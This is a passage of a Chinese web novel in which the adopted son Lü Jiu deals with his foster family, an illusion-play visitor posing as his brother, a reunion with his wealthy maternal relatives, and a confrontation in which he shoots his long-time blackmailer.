“顾南”收留他,让他得以短暂逃脱罗浮屠的毒手,这份恩情吕九铭记在心,不会忘记。 但若是包括“顾南”在内的顾家人以为,他们能靠着这份恩情威胁他,对他指手画脚、大放厥词,那可就大错特错了。 谁敢对他呲牙,他必拔了那人所有的牙。 奇怪的是,他凶得这样明显,底下金枝玉叶受不得委屈的少爷却始终不曾露出害怕的神情。 对方就这样被他挟持着,眼神平静又温和,静静地看着他,少顷开口:“难道我不是在和自己的弟弟说话?” “难道我的弟弟受委屈了,憋不住想大哭一场,找人倾述,也要我视若罔闻,假装什么都不知道吗?” 吕九手一颤。 他记得,记得几年前,有个人拥他入怀,带他逃出熊熊火海,滚烫的气浪扑面而来,被那人单薄的身躯挡下,未伤及他一丝一毫。那人目若繁星,深沉似海,又有着春风般的温柔,凝视着他,承诺今后会把他当成弟弟看待,负责到底。 吕九原以为自己已经忘记了——在“顾南”做出不少荒唐事,察觉不出半点他在顾家的不易,衬得曾经的承诺愈发缥缈空茫,像一句不走心的戏言时,他以为自己早就把这事抛到了脑后。 “阿九。”谢叙白的手落在吕九挟持他的手腕上,温热的暖意自掌心传递,“告诉我,你在怕什么?” 早年,他在吕九的身上留下了一道识念,对方一天下来做过什么,经历过什么,谢叙白都有感应。 这种事,也不是第一次发生了。 罗浮屠是个狡诈多疑的人,他根本不相信吕九真的会摈弃前嫌,安心为他办事。 于是他总留吕九最后收尾,让吕九的双手永远都洗不干净,直至他们成为一根绳上的蚂蚱,一损俱损。 当不少有罪无罪、卧底潜伏的人,被罗浮屠折磨得意志崩溃,发疯祈求一死的时候,吕九也曾抖着手,冒着风险,用最干脆利落的手法,给他们一个安宁和解脱。 在几年前,这股不稳的情绪很快就会被吕九强行压下去,直至今日,此时此刻,突然像是彻底压不住了,几欲爆发。 吕九看着谢叙白,对方音量不大,口吻不轻不重,却有股说不出的戳心。 好不容易平息的情绪再度翻涌,他嚅嗫着,无声张了张嘴,忽地松开谢叙白,轻挑一哂:“你当我是你么,还受委屈了大哭一场,想什么呢?” 便是这样状似若无其事的一字一顿间,仿佛有什么沉重艰涩的东西,再度被吕九硬生生地咽回了肚子里。 他屈指敲一下谢叙白拿烟斗的手,幸灾乐祸般拖长音调:“现在消息应该已经传回顾家了,想好怎么向家主交代没有?哥、哥。” 如吕九所料,当天傍晚一回家,顾家主果真大发雷霆,在书房将谢叙白劈头盖脸一顿痛斥。 不仅因为这事传出去会败坏顾家的名声,更因为他知道那些禁物的可怕,轻轻松松就能毁掉一个人。 谢叙白挨骂的时候,吕九屏退佣人,双臂环抱,依靠在书房门边看好戏,笑眼染着说不出的兴味。 嘴上也不安分,时不时开腔拱个火,分外的欠揍讨打。 直至顾家主怒火中烧,捞起桌上的青花瓷瓶要砸人,吕九方才颠颠地凑上去将人拦住:“干爹!您别冲动,消消气,要不是那些公子哥恶意撺掇,哥怎么会一时糊涂,做出这种大逆不道的事情来?而且这事蹊跷得很,何故四哥前脚赴宴,后脚那些报社的记者就蹲在天香楼的门口?分明是有人蓄意陷害。” 顾家主果然转移注意,沉着脸恨声道:“去查,好好查清楚,我要知道是谁要害我的儿子!” 随后指着谢叙白的鼻子怒斥:“还有你,别以为自己很委屈,要不是你紧巴巴地凑上去,也不会惹出这种烂摊子!从今往后你要是还和那些不三不四的家伙混在一起,看我不打断你的腿!” “来人!把这个逆子给我关进屋子里,今明两日都不许吃东西,让他好好长长记性!” 吕九被临时任命,监督谢叙白如实受罚。 佣人们想着吕九往日对四少爷的照顾,特意等到半夜,偷偷摸摸送上食水,谁料竟会遭到阻拦。 吕九:“怎么,一个个耳聋了不成,没听见家主的吩咐?把这些吃的都给我撤下去。再这样下去,四少爷真得叫你们惯得不知方寸了。” 门外的监管者冷漠无情,门内的红影卑微至极。 面对谢叙白无声的凝视,红影眉头狂跳,冷汗津津,轻咳一声小心询问:“你饿不饿,我去给你弄点吃的来?” 既是幻戏幻境,不吃东西也饿不死人,何况谢叙白力量近神,早已辟谷断食。 但谢叙白不动声色打量红影心虚的样子,幽幽叹气:“我从今天中午开始就滴水未进,回来又遭一阵骂。本来顾家主骂几句就想停,结果被某个看热闹不嫌事大的混蛋一拱火,愣是骂了三小时,还不让吃喝,你说我饿不饿?” 就差没明着说自己心有怨念。 红影顿感头皮发麻,一阵揪心,恨不得现在就冲出去吩咐佣人们烧火起灶,做满汉全席。 谢叙白:“别费事了,不想吃,气都气饱了。” “你别生气,是我这时候太混账。”红影凑到谢叙白的面前,见人冷淡扭头,连忙又跑到另一边,可怜巴巴地认错,“我给你赔罪还不行么,别生气了。” 谢叙白背靠墙壁,闭眼不理。 就是和谢叙白刚成为同事的那段时间,红影也没被对方这样冷落过。瞬间气得牙痒痒,分外想要揪住门口那得理不饶人的臭小子暴揍一顿。 直至红影急得抓耳挠腮,谢叙白方才慢悠悠开口。 “你这家伙谎话连篇,糊弄我也不是一次两次,我怎么知你说的赔罪是真情还是假意?除非——” 红影忙不迭追问:“除非?” “除非你解开限制,让我感知到你的情绪,读到你的心念。” 红影一僵,忽然闭上嘴,不吭声。沉默一阵,他笑盈盈地说道:“您是唯一的客人,坐在首排首列最高座,这场戏为您而演,这幻境应您而生。若您想要知道什么,剖析什么,没人可以阻拦,也没人有资格阻拦。” 虽说幻境与现实时间流速不同,这场戏结束,外面可能才过去一小时不到,但对戏中人来说,却是实打实地经历着每一个朝夕。 年年复年年,谢叙白都陪着吕九安稳平常地度过,没有一次催促他加快进程,跳到关键剧情。谢叙白也很少使用戏中身份赋予的强大力量,来为自己行方便。 红影半开玩笑地说:“包括刚才家主那样骂你,我都快听不下去了。明明犯错的是顾南,你何必死脑筋地任由他骂?给他们下几道精神暗示,让他们误以为已经骂完了,罚完了,谁又能发现异常?” 他话里话外都在强调,谢叙白不应该是这样的姿态,对方本可以高高在上。 谢叙白看着他,复而弯眸浅笑:“对戏中人下达精神暗示,跳过枯燥的日常,动用手段强行突破吕九的心防,确实方便快捷,节约很多功夫。” “但那样做,我会愈发理所当然地把这一切当成一场戏。仅仅是一场可以随时跳过、随意主掌的戏剧,而非许多人的人生。” “不是切身体会,很难感同身受。即使切身体会,依旧莫衷一是。”谢叙白道,“你所经历的那些苦楚和迫不得已,我怕自己有失偏颇,想尽可能靠得近一点,看得真切一点,花多少时间都值得。” 红影又不吭声了。不是不想说话,是某股酸涩汹涌的情绪压在喉咙口,反复吸气也无法平复。 他看向谢叙白,谢叙白竟也在看他,眼睛含着淡淡的笑意,倒映着他的身影,似静谧包容的夜空,终叫红影湿了眼眶,连忙背转身,手掌覆盖双眼,生怕憋不住眼泪的模样被人瞧见。 尽管在这人面前,他已经没什么隐私了,可依旧期望自己在谢叙白心中的形象能更好一些。 冷不丁的,红影眯着眼睛认真考虑:要不他还是把门口那小子揪进来揍一顿吧? 他的挚友这样好,那个臭小子还敢呛人,惹人不开心,一点不知道珍惜,真是欠抽至极。 恰是这时,门外传来不紧不慢的敲门声,是吕九。这家伙的礼数向来点到即止,只敲一下,自己就堂而皇之地进来了,手里还捧着个油纸包。 他笑眯眯地来到谢叙白的面前,一层接一层,慢条斯理地揭开油纸皮,露出里面被色泽金黄、油润光亮的烤鸡。 鲜美的酱汁和油脂交融在一起,仅是溢散的香味,就惹得人食指大动,满口生津。 “我刚才左思右想,你说认我当弟弟,却不曾以身作则。既然这样,还不如让我来当这个兄长。” 吕九笑得像个引诱兔子出洞的狐狸:“你看我对你多好啊,那些人说要给你送吃的,一听到家主的名头就忙不迭地跑了,只有我愿意冒着受罚的风险将吃的送进来。顾南,叫一声好哥哥,这只鸡就给你吃,如何?” 也是这个时候,谢叙白忽然听到一声脆响。 【我劝你别不识抬举,现在立刻马上答应。】 那道始终横跨在他与吕九之间,防止他窥探吕九心事的壁垒,忽地裂开一道口子。 年轻刑官外强中干的心思从中悄然泄露,执拗又别扭,隐秘又坚定。 【不答应也行,也罩你,罩完这辈子,谁让你叫了我一声弟。】 第148章 那些过往(一)…… 吕九最终也没有告诉谢叙白自己究竟在怕什么,那一刹那的无措和惶恐就像烈日下的冰霜,眨眼消融,无处寻觅。 他只是在之后的时间里,频繁地做起梦来。 梦中的经历和如今大差不离。 罗浮屠的毒和狠,他的怯和惘,世间诸人的贪嗔痴,像厚重黏稠的油彩涂出五颜六色的脸谱,共演这一出荒诞离奇的戏剧。 唯一不一样的人,大概只剩下顾南那家伙,可惜一点都没变好,变得又傻又坏,贪图享乐,玩物丧志。 他不止一次在去歌厅接人时,盯着沙发上烂醉如泥的顾南,气得眉毛一抽抽地跳。 想爆发,想骂人,想把这不争气的混账玩意从楼上丢下去。 反倒是顾南,看见他倒是很欢喜,醉醺醺地凑过来搂住他的肩膀:“吕九,我的好兄弟!你可算是来了,喝!我们一起喝!” 于是吕九最后也只能在顾南带着傻笑的高声喝彩里,拧眉揉额,偃旗息鼓。 顾南是个名副其实的二傻子。 但这个二傻子,会觍着脸央求顾老爷让他去海都最好的公立学校读书,又央着顾夫人给他分配油水十足的轻松差事。 也会在其他二世祖想占他便宜的时候火冒三丈,一脚把人踹飞,又在顾家大少爷质疑他和对家暗通曲款,欲要酷刑审问的时候闯进来阻拦,拍胸脯打包票,为他作保开脱。 吕九见惯世间冷暖,头一次见到顾南这样的。 具体点说,头一次见到这种会凭一腔意气,为他做到如此地步的傻子。 乃至于很久之后,吕九发现自己在顾家受到的重重刁难和顾南适逢其时的解围,都是顾家老爷的有意安排,目的在为小儿子拉拢人心,他也很难对顾南那一双泛着清澈愚蠢的眼睛生出怨气。 时间和经历能改变很多东西。 这几年,原本觉得醉酒误事、嫌恶醉鬼父亲的吕九,逐渐学会了喝酒。 但他喝得很少,也不和其他人喝。 有的时候,短暂结束和罗浮屠的虚与委蛇,经过顾老爷和顾大少的例行盘问和敲打,或是从左右逢源的名利场下来,他觉得心烦,就会来到天香楼。 就在顾南他们的隔壁,开一间包厢,把门打开,留出一条细微的缝隙,让外面那些莺歌燕舞的欢笑声,那些纸醉金迷、无忧无虑的喧闹轰进来,冲散房里的孤寂。 然后一个人,一瓶酒,默不作声地浅啄独饮。 直至顾南和他那群狐朋狗友去茅房,从门口路过。 “别跟我提那家伙!枉我还把他当兄弟,他呢?从头到尾就想着怎么利用我!一门心思全扑在怎么巴结我爹我哥,和那些世家贵胄攀交情!对我动辄打骂,根本没把我放在眼里!” “我爹我哥要商量个什么大事,全都绕过我去找他,嗝,真,真不知道现在谁才是顾家四少爷!总有一天,我要揍他!让他知道,知道本少爷……嗝!” 带着抱怨的醉话怒骂顺着吵闹的音乐飘进包厢,过了吕九的耳朵,又逐渐飘远,淹没在嘈杂的歌舞声里。 吕九动作一顿,刺目的灯光从他绷紧抖颤的脸皮上掠过,他几乎与涌上来的阴影融为一体。 不知多久,他深吸一口气,将剩下的半瓶酒一饮而尽,单手捞起大衣搭在肩膀上,转到隔壁包厢,踹开大门。 在所有人目瞪口呆的注视下,吕九闲庭信步般走来,给了顾南狠狠一拳。 顾南喝得快断片,挨上一拳,蓦然痛醒大喊,看清楚是他,没想起来刚才在背地里蛐蛐人一茬,愤怒嚷嚷:“吕九你个二流子想干嘛!凭什么打我啊?” 吕九居高临下,忽地弯起眼睛:“不是你说想打我吗,我来给你个由头。” 他说着,随手抄起桌上的酒瓶,塞进顾南的手里,玩味戏谑地点点自己的额头:“我打你一下,你还我一下,来,往这儿抡。” 顾南呆在当场,怀疑吕九在耍他。 下一秒,吕九毫无征兆地拽起他的胳膊,按住他的手,翠蓝色的酒瓶子用力一砸。 嘭的一声炸响,瓶子四分五裂,尖锐的碎玻璃掉了一地,酒水混着血水飞溅! 人群爆出刺耳的爆鸣,顾南呼吸一滞,魂飞魄散地抽手,被吕九摁着,硬是没抽出来。 他语无伦次地大喊:“你干什么?!吕九!松开我!你的脑袋!血啊!” 吕九强硬地拽着他,身体晃了一下,站定,若无其事地抹把脸,又抄来一个酒瓶子,还是那番玩世不恭的腔调:“怎么样,顾四少爷解气没有?” 血和酒混杂流下,顺着眉骨,蜿蜒淌入那一双黑白分明的笑眼。 顾南像看怪物一样瞪着吕九,后者就只是笑,冲他微微扬起下巴,笑得漫不经心。 在红红绿绿的灯光映照下,那张失血过多的脸苍白昳丽,眸光明灭变幻,宛如一盏破碎的琉璃。 “不够的话就再来一下,一下不够就两下,两下不够就四下。” 吕九将手里酒瓶缓缓递给他,指尖染着鲜红的血,皮笑肉不笑地勾起唇:“反正吕九贱命一条,死就死了,可不能招了顾四少爷的气。” 这一番“开诚布公”卓有成效,顾南自此认定吕九就是个疯的,吕九让他看场子算账本他就看场子算账本,让他打拳练枪法他就打拳练枪法,不敢违逆一点。 但这事后来被顾家主知道了,被他看破是吕九驯化控制小儿子的手段,大发雷霆,要对吕九当众施以家法。 这回没人通知顾南,等顾南闻讯赶到的时候,吕九露出来的脊背早已被荆棘条抽得皮开肉绽。 他瞬间大脑一空,不管不顾地往前一扑,荆棘条嗖嗖抽到他身上,尖刺扎进肉里,刮出血愣子,痛得顾南惨叫出声。 他呲牙咧嘴,不敢想象吕九此前遭受了什么样的折磨,惊怒交加地叫嚷起来。 “花天酒地的明明是我,爹你为什么打吕九啊!?他做错了什么?” 吕九痛得冷汗直冒,眼前发黑,浑浑噩噩中,只感受到顾南死死护在他身上,任谁都拽不动,愣是在硬抗好几下后,终于叫顾家主无奈地摆手放人。 顾南大吼着让人去叫私人医生,火急火燎地背起吕九往外走,走着走着,吕九肩背的伤口溢出血,滴在他的身上,润湿衣料,滚烫咸腥。 顾南像被烫伤般狠狠一哆嗦,联想到什么,忽然有些站不稳,艰涩地问他:“我爹之前也这样罚你?” 吕九闭着眼睛不说话。 顾南羞愧难当:“对不起,我不知道后果会这么严重。” 临到现在,他还以为是自己喝酒惹的祸。 顾南是家里的幺子,又是早产儿,先天不足,家里娇惯纵容,生怕他受了半分委屈,更舍不得他接触那些腌臜龌龊事。 他以为家里对吕九最多严厉一点,毕竟那几条至关重要的商贸线,无数人眼红的三街巡查队长职务,他怎么撒娇央求家里都不肯松口,可对吕九这个没有血缘关系的义子,说给也就给了,分明十分器重。 刚才听到吕九挨挨训,他甚至有那么一瞬间在幸灾乐祸,想着总算有人能治一治这个无法无天的混蛋,可是现在,顾南只想哭。 吕九趴在他背上,压着顾南的那几道伤。青年疼得轻轻吸气,但忍着没有叫唤。 吕九听在耳里,动了动,不带笑意的眼睛尤其显得冰冷,微微上抬,望向灰蒙蒙的天空。 顾南后怕又后悔,全程不停嘴,怕吕九昏过去一命呜呼,怕吕九怨恨上顾家,怨恨对一切无知无觉的自己。 他连番道歉,连番保证,什么好赖话都说尽了,都没有得到吕九的一声回应,终于憋出一道不成声的哽咽。 “对不起,对不起。” “二傻子……”也是这时,吕九终于开腔,干涩的声音像粗糙的磨砂纸,微弱萎靡,又带着一点真切的叹息,“你以后听话点,啊。” 他跟哄小孩似的,谐谑且不着调:“也长点心,我再努努力,争取让你活到寿终正寝。” 顾南只想让他宽心,哪怕对后半句话一头雾水,第一反应也是小鸡啄米般疯狂点头。 他听到背上的人不甚在意地打了个哈欠,脑袋随意地耷拉下来。 侧头一看,吕九虚疲地闭上了眼睛。 那时候的顾南自以为懂得很多,但他还是有很多不知道。 不知道某个不记名的庄子上,藏着吕九早已收拾好的钱财细软,不知道吕九幽幽一叹,做出了怎样的决定。 …… 吕九在被顾家从军队调到巡查队的时候就明白,纵使顾家对他多有器重、欣赏,也不会叫他掌管“逾越”身份的权力。 从九岁到十七岁,八年时间都没能让顾家主把他当成自家人,接下来他更没时间和功夫去琢磨怎么取得顾家的信任。 但靠顾家给予的这一丁点筹码,去对抗罗浮屠及他幕后的雇主,显然也行不通。 他得多拉拢几个靠山,多掌握几个有用的筹码。 靠着在罗浮屠面前演出的乖顺模样,吕九成功拿到一份名单,以便他在世家名流圈子里筛选可靠的同盟。 他不知道这份名单的真实性,只能一个个地试探。放在外人眼中,就是他为追名逐利都不要脸了,完全疯魔了,什么人都敢觍着脸谄媚讨好,什么圈子都敢往里面硬挤。 吕九觉得他们也没说错。 世人熙熙攘攘,逐利而往。他从不相信什么真善美,认为唯有利益倾轧、生死威胁,才能将大家捆成一根绳上的蚂蚱,与人相交的第一时间,就在不留痕迹地琢磨怎样拿捏对方的软肋。 既然他秉持着这样的念头递出投名状,会让人觉得他是个无利不往的贪婪小人也无可厚非。 况且他表现得越恶劣,罗浮屠那边的人就越放心,何乐而不为? 直到吕九遇见一个完全意想不到的人。 ——他的亲舅舅。 第149章 那些过往(二)…… 约莫在七、八岁那年,吕九第一次见到罗浮屠。 面黄肌瘦的他被罗浮屠一眼相中,后者有意无意地向他爹询问生母的情况,他爹支支吾吾,含糊地吐出几个地名,终究还是在吕九年幼抖颤的心灵扎了根。 所以后来他逃离镇子,没有往别处去,而是假扮成游客的小孩,趁着人流拥挤,偷偷摸进客轮的货仓,辗转海上,期望找到母亲那边的亲戚。 只是来到海都,才发现这个都市太大,过于繁华璀璨。高大雄伟的建筑群彼此林立,车辆奔流,走卒商贩往来不息。 如果他母亲真是在海都被拐走的,与今相隔,至少十年多年的跨度,想要再找到她的消息,犹如大海捞针。 吕九从没放弃过寻找。以防被罗浮屠察觉,他一直在私底下偷偷进行。 如此度过漫长的八年,在他都已经不抱希望的时候,罗浮屠忽然叫他参加一场上流宴会。 此前罗浮屠也叫他参加过不少宴会,可去可不去,唯有这次,罗浮屠严令威胁,必不能缺席。 吕九皱着眉头,意识到不对,又从服务生那里打听到,这场宴会旨在为某个大佬接风洗尘,瞬间提起十二分小心。 也是这时,被众星捧月的中山装男人无意瞥见他的脸,顿时浑身一僵,匆匆忙忙地跑过来,盯住他,激动得声音带颤,问:“你……你母亲叫什么名字?” 吕九愣住,仿佛峰回路转,柳暗花明,叫他忽然意识到什么,瞳孔微微放大。 那人便是他的亲舅舅,姓岑,荇州一带声名赫赫的大富商,背后的家族更是叫人望而生畏。据闻是百年传承,底蕴深厚,二十多年前被招安,纳入国企,负责海都近六成的酒业和粮产业,即便在海都最上层的圈子里也享有极高的话语权。 吕九之前物色挑选出来的同盟已经很了不起了,可和他母亲家族的势力相比,根本就不够看。 他对自己的认知,还停留在那个泥粪满地的穷乡僻壤。原以为母亲或许出自才富五车的书香家庭,却想不到来头竟然这般大。 放在其他人眼中,这无疑是件天大的好事。 可吕九对上岑家舅舅期盼的视线,却萌生出一股难以言喻的惶恐不安。 吕九猛然警觉,扭头看向罗浮屠。 后者好以整暇地捋了捋两撇胡子,勾着嘴角,似乎毫不意外。 吕九背后生出丝丝缕缕的凉意。 如果不是罗浮屠主张牵线搭桥,这种高档宴会,凭他的地位够呛能参加——对方分明有意安排他和舅舅见面! 可是为什么?为什么罗浮屠会好心帮他寻找亲人? 他的母族可不是什么泛泛之辈,难道罗浮屠就不怕他说明原委,请岑家出手,转过头来将他千刀万剐? 岑家舅舅不知道这两人之间的暗潮涌动,全身心都拧成一团,就想知道吕九是不是他胞妹的亲子,不然怎么会长得如此相像。 面对岑家舅舅的嘘寒问暖,能说会道的吕九头一次卡壳,不知道怎么回答。 被问及母亲这些年过得怎么样,什么时候嫁做人妇,怎么一直不给家里带消息,他更是嘴唇翕动,半天吐不出一个字。 岑家舅舅的热情不似作伪。 两人地位悬殊,自己身上有没有值得图谋的东西,对方更没有和他虚情假意的必要。 吕九可以相信对方是真的着急,真的关心他娘,但他拿不准罗浮屠为什么会有恃无恐,心里忌惮,连带着对这位突然出现的便宜舅舅,也情不自禁地透出几分戒备疏离。 罗浮屠见他们二人气氛尴尬,佯装好意地上前打圆场:“岑兄,唉。当初那场海难死伤无数人,好几家人打捞救援五个月也一无所获,弟妹能在当时大难不死,遇到好心人救助,已经算得上不幸中的万幸。” “我已问过吕小兄弟,他的爹娘原本有去荇州寻亲的打算,可惜时值灾荒年生,又有不少匪徒烧杀劫掠,导致一家三口颠沛流离,双亲早早命绝在路上,如何来找你们?” 罗浮屠说得情真意切,唏嘘不已:“他那时候还小,被人牙子抓去,受尽毒打冷眼,好不容易才逃出来,连双亲长什么样都已模糊,唯独隐隐约约记得父母的名字,才能答上你刚才的话。” 岑家舅舅听闻此言,顿时潸然泪下:“早早命绝?怎么会这样……” 他看向吕九,发自内心地感到痛惜:“孩子,你受苦了!” 吕九紧盯罗浮屠假模假样的嘴脸,像一朝被蛇咬的人,半点不敢放松警惕,疯狂整理头绪。 谁知下一秒,热泪盈眶的岑家舅舅突然将他搂进怀里。 年长者温热可靠的气息扑面而来,仿佛他是失而复得的珍宝,搂得极其用力,吕九甚至怀疑自己的胳膊会被这人挤碎。 吕九一惊,浑身绷紧:“……岑先生?” 岑家舅舅呼出一口灼痛的气,深深地凝视他,仿佛在从面部骨骼的轮廓中寻觅故人的影子,双眼通红地说:“无妨,舅舅只是太难过,又太高兴。” 他俩在宴会上相见,为了避人耳目,引起热议,岑家舅舅在私底下接见的他,此刻的雅室内只有罗浮屠和几名侍从。 吕九是个脸皮厚的,可此时此刻,竟也在几名侍从好奇探究的眼神下变得无措慌张。 他看着岑家舅舅热泪盈眶的模样,头一次拥有被亲人关怀的实感,也是这么恍惚着,逐渐忘记自己不喜欢和人接触,忘记警惕和挣扎。 然后便是核验身份,认祖归宗。 吕九在八年前偷渡来到海都,没有行踪记录。长大后体貌变化极大,旧人相见难辨别。又只是个从山窝窝里出来的小子,外面根本没几个人认识,想要验明来处,也无从下手。 岑家舅舅按照罗浮屠给出的大概地点去敛尸,不知道是什么情况,竟然真的挖出了吕九母亲的尸骨,还有一具皮肉腐烂只剩白骨的男性尸骨。 岑家真正在意的只有吕九母亲一人,对这位“便宜女婿”说不上有什么好感,出于救助女儿的恩情,为人风光大葬,立了牌位。 岑家坐落在四季如春的荇州,手里把持着大量地契,良田千顷不再是纸面上的夸张数。但家族并不迂腐,非常鼓励族人远赴海外求学,或到山河各处历练,接受不一样的文化传承,陶冶情操,丰富内涵,反哺家族。 当时车行在大都市刚起步,只有富贵人家才有钱买来一辆,可岑家院子外面停着无数豪车,仅仅一辆,就可供小地方区县白丁足足半年的日用开销。 老家不是独门独户,是几十家联合在一起的大合院,随处可见的摆件是明清时候的文玩,出行有成群的佣人伺候,名下子弟均有不菲资产,凡嫡系子弟,最差都在海都有一套价值百万的豪宅别墅。 岑家的家大业大令人叹为观止到什么地步?就这么说吧,吕九见过年事已高的祖父,拜完身体有恙的祖母,随后一连接见五天的亲戚,居然还没认完族谱近亲中的一半。 他甚至在里面看见了自己参军时,只能在人群中远远观望的上级。还有一些人的头像,就在公馆荣誉墙上挂着,不怒自威,凛冽生畏,却都在和他见面时露出亲和体贴的笑脸。 十几天的经历,就像梦一场,不,比做梦还不可思议。 吕九真切地体验到了,什么叫从底层一跃晋升为人上人。 曾经他为发展自己的私下势力绞尽脑汁,为干净的资金来源筹谋深远。 可如今,钱庄账户时不时就会多出一大笔天文数字,甚至每天一个样,变着花样往上蹿。 金银珠宝豪车豪宅地契产业,收到让他头皮发麻的地步,从来者不拒爆改疯狂推辞。 日常生活,他没什么特别的喜好,对新奇的东西会忍不住瞧上一眼。只一眼,第二天那东西必定会出现在他的面前。 刀山火海吕九眼也不眨地趟过,千夫所指他一笑了之,唯独这般怀柔的深情厚爱,叫他每夜辗转反侧,阖眼难眠。 一连几天折腾出熊猫眼,吕九终是忍不住找到罗浮屠,逼问对方葫芦里到底卖的什么毒药。 彼时罗浮屠正在打高尔夫。 这项运动在当时的海都非常风靡,但和现代一样,属于有钱人的游戏,毕竟租借高尔夫球场的价格不菲,球具的工艺制作和保养费用也不低。 但吕九上门时,偌大的球场只有罗浮屠及他的打手,整片区域竟被他一人承包。 “看看这片地方,大不大?” 罗浮屠乐呵呵地看向吕九,根本不在意他脸上尖刀般的冷意,大手一挥,高兴地炫耀。 “这里!包括城南那片马场,全都是岑家给我的酬谢!你是不知道,我为他们找到失踪多年的小姐和亲外孙,他们高兴得不得了,非要把我奉为座上宾。” “……你早就知道。”吕九眸色暗沉如火,声声淬毒,一字一顿地揭穿他,“你在看见我的时候就认出了我娘是谁。当时你就把我娘的尸身迁了出来,随便找一具尸骨葬在一起,你早就计划好了我和舅舅的相认!” 所以他最初回来后始终寻不到母亲的尸骸。那老家伙还谎称是被野狼叼了去! 不知道是飘了还是怎么样,罗浮屠早已不穿他那身唐装,一身西装革履,抬起头,冲他做了个口型:“聪明。” 罗浮屠咧出一个恶毒的笑:“生什么气呢小九儿?你娘到死都想逃脱你爹的控制,逃出她仇恨的那个村子,我这样做不是正好随了她的愿?再说了,她的尸骨还能在多年后回到故乡,葬入岑家的祖坟,难道不都是我的功劳?” 吕九一言不发地盯着他,气氛紧张得剑拔弩张。 忽然,他嘴角上扬,跟着咧出一个极大的弧度。 包括罗浮屠在内的几人,都被他那要吃人的目光看得毛骨悚然,前者更是眉头狠狠一跳,生出一股不祥的预感。 可他们终究还是慢了一步。 压抑八年之久,吕九第一次动手,快得像在脑海中练习无数次,不留余地。 只听嘭的一声枪响,罗浮屠的大腿爆出成股的血花。他瞬间发出撕心裂肺的惨叫,不稳栽倒,飞快看向吕九。 后者居然不管不顾,再一次扣上扳机。 他到底留了个心眼,没有直接击毙罗浮屠,用出其不意诈出对方的底牌。 感受到真实的疼痛和杀意,罗浮屠果真慌了,怕了,尖声喊道:“住手!难道你想让岑家知道你爹是个卑劣低贱的拐子吗!?” “你别看岑家现在宠你,把你捧到天上去,要是让岑老爷子知道你娘被欺辱含恨致死,你觉得自己这个拐子生下的孽种最后能不能留个全尸?!” 一句句威胁如惊雷在吕九的耳边炸响,可他没有慌张惶恐,只有思索清楚后的恍然大悟:“原来是这样——原来你是想靠这个把柄来威胁我,我就说你怎么可能会这么好心。” 可吕久的反应着实不像被威胁住的样子,原本信誓旦旦的罗浮屠立时惊疑不定。 几名手下同时大惊失色,纷纷举起枪,可慑于吕九的气场和癫狂的状态,硬是没人敢开这第一枪。 吕九被好几道黑漆漆的枪口直指,不见一丁点的害怕。 他只是笑,一手对罗浮屠举着枪,一边笑得肆意张狂。眼角挤出来好几滴眼泪花,一副听完天大笑话的模样。 末了,他单手将泪水随意抹去,吐出一口气,如释重负地说:“多谢你的告知,这几天的日子过得太舒心,我都差点忘记自己是谁了。” 说到最后几个字,他的音量极轻,像风淡淡远去。 罗浮屠听他的语气,好似斩断对这世间的最后一点留恋,心脏蓦然一咯噔。 他了解吕九,知道吕九虽说惜命,但绝对不缺破釜沉舟的狠辣果决,急头白脸再添保命的筹码:“你想清楚,你死了之后顾家要怎么办?” 吕九一顿,厉声道:“难道不是你贪图顾家的财富想对付他们?一切根源在你,我杀掉你正好永绝后患!” “笑话!”罗浮屠脸色惨白,大声驳斥,“我是想贪顾家的钱,可是张家王家李家赵家和那些个豪门世家,我都想贪!凭什么非得顾家出这个事?” 见吕九脸色微微变了,他发出阴狠的笑:“我告诉你,荇州和海都相距甚远,走水路至少要三天,你现在回去还有机会救下顾家,晚了,可就什么都不剩了!” “你可以现在就杀了我,但杀了我,你也别想全须全尾地离开这个地方。只要我死,你真正的身世就会传到岑家老爷子的耳朵里,到时候让整个顾家跟着你一起陪葬!” —— 同一时间节点的幻戏幻景中,吕九与谢叙白乘坐豪华游轮,漂在海风呼啸的码头。 夕阳逐渐落下,为天际线染上一抹艳丽橘红的暮色。 船下海浪激荡,拍上岸边,溅起白色的浪花。蒸汽机发出嘈杂的嗡鸣,最终在甲板上浪漫悠长的音乐里销声匿迹。 “我刚来到海都的时候,就是遇到你的前一天,在码头看见一艘豪华游轮,和这艘差不多大。上面正在举办酒宴,灯红酒绿,富丽堂皇,先生女士们喝着红酒,随手施舍的零钱,就够我几个月的吃喝。” “当时我就想,什么时候我也能像他们一样登船看看上面的风景,没想到摇身一晃,我也变成了这样的有钱人,也真的登上船,喝着红酒,纸醉金迷。” 吕九摇晃手里的酒杯,双臂撑在围栏边,看着汹涌的海浪,轻声呢喃道:“……像做梦一样。” 可梦总会醒的。 谢叙白看向他,温声道:“听说你和岑家认了亲,岑老爷子和老夫人都非常喜欢你。怎么不在荇州多留几天,陪陪他们?” 对吕九而言,那应当是他梦寐以求的亲情。 吕九翻身,回看谢叙白:“……他们太热情了,不想留。” 谢叙白莞尔:“热情还不好么?要是冷着个脸,一点都不欢迎你这个外孙的到来,你又该不开心了。” “我说不上来。”吕九无意识地撑起身子,又往后靠,端着酒前后一摇一晃,很是纠结的模样,半晌吐字说:“……如果我告诉你,我有点怕他们,你会不会笑话我?” 他说完便闭上嘴,脑子里一团乱麻。 谢叙白笑了笑:“或许不是怕,是近乡情怯。” 吕九神色一动,望向谢叙白平静如水的笑眼。 这两天他被岑家认回的事闹得满城风雨,报道铺天盖地。 那些恨他或对他无感的人,纷纷觉得他踩了狗屎运,在背地里羡慕嫉妒恨。 但凡他表现出一点不自在,都会被认成得了便宜还卖乖和炫耀。 但“顾南”总能理解他的慌张不安,没有半分嘲笑。 有那么一瞬间,吕九好似被宽慰住了。 只是他心里清楚,自己不是近乡情怯,是自惭形秽。 他直觉罗浮屠不会好心帮他,一定在哪里设有大坑等着自己。岑家的人对他越好,他就越害怕,像看着水中月镜中花,头顶悬着锋利的虎头铡。不知道什么时候,铡刀就会唰一下砍下来,叫他原形毕露,人头落地。 忽然,吕九脑门一痛,被谢叙白屈指弹了一个脑瓜崩儿。 他吃痛惊讶,没想到“顾南”这小子还有胆子打他,捂着额头看过去。 年轻人冲他浅笑挑眉:“你这请客的人不够专心啊,老想着那些烦心事干甚,难道它们还会跳出来吃了你不成?” “说好出来看鲸鱼,鱼呢,在哪儿?” 没来得及发作的吕九悻悻地放下手,有点心虚。 海都不是鲸鱼迁徙的目的地,它们只会路过,如今错过日子,要看鲸鱼得坐十几天轮船。 但他刚刚得到消息,岑老爷子和老夫人心系外孙,不希望他刚回家就走太远。他想着那两张慈祥含泪的脸,只能作罢。 